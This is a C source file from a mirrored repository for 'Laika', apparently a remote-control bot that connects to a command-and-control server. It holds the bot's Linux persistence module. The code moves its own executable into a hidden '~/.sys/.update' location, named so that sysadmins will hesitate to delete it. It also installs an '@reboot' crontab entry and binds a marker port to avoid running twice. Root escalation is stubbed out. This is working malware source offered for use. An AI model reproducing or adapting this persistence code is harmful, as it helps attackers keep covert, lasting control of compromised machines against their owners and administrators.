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mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 21:41:04 +00:00
Laika/bot/lin/linpersist.c
CPunch 59c01d422b More resilient persistence
- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run
2022-04-10 15:45:30 -05:00

139 lines
3.7 KiB
C

/* platform specific code for achieving persistence on linux */
/* this is only used to check if another instance of laika is currently running */
#define LAIKA_RESERVED_PORT 32876
#define LAIKA_TMP_FILE "/tmp/laikaTMP"
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_INSTALL_DIR_USER ".sys"
#define LAIKA_INSTALL_FILE_USER ".update"
#include "persist.h"
#include "lsocket.h"
#include "lerror.h"
#include "lmem.h"
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
static struct sLaika_socket laikaB_markerPort;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
#ifndef DEBUG
LAIKA_TRY
laikaS_initSocket(&laikaB_markerPort, NULL, NULL, NULL, NULL);
laikaS_bind(&laikaB_markerPort, LAIKA_RESERVED_PORT);
LAIKA_CATCH
LAIKA_DEBUG("Failed to bind marker port, laika is already running!\n");
exit(0);
LAIKA_TRYEND
#endif
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
#ifndef DEBUG
laikaS_kill(&laikaB_markerPort);
#endif
}
void getCurrentExe(char *outPath, int pathSz) {
int sz;
/* thanks linux :D */
if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) == -1)
LAIKA_ERROR("Failed to grab current process executable path!\n");
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
struct stat st;
const char *home;
/* try to read home from ENV, else get it from pw */
if ((home = getenv("HOME")) == NULL) {
home = getpwuid(getuid())->pw_dir;
}
/* create install directory if it doesn't exist */
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
mkdir(outPath, 0700);
}
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
}
bool checkPersistCron(char *path) {
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
if ((fp = popen("crontab -l", "r")) == NULL)
LAIKA_ERROR("popen('crontab') failed!");
while (fgets(buf, sizeof(buf), fp)) {
if (strstr(buf, path)) {
/* laika is installed in the crontab! */
res = true;
break;
}
}
pclose(fp);
return res;
}
void tryPersistCron(char *path) {
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path);
/* add laika to crontab */
if (system(cmd))
LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
#ifndef LAIKA_NOINSTALL
char exePath[PATH_MAX];
char installPath[PATH_MAX];
/* grab current process's executable & get the install path */
getCurrentExe(exePath, PATH_MAX);
getInstallPath(installPath, PATH_MAX);
/* move exe to install path */
if (rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
LAIKA_TRY
/* enable persistence on reboot via cron */
if (!checkPersistCron(installPath))
tryPersistCron(installPath);
LAIKA_CATCH
LAIKA_DEBUG("crontab not installed or not accessible!")
LAIKA_TRYEND
#endif
}
/* try to gain root */
void laikaB_tryRoot() {
/* stubbed */
}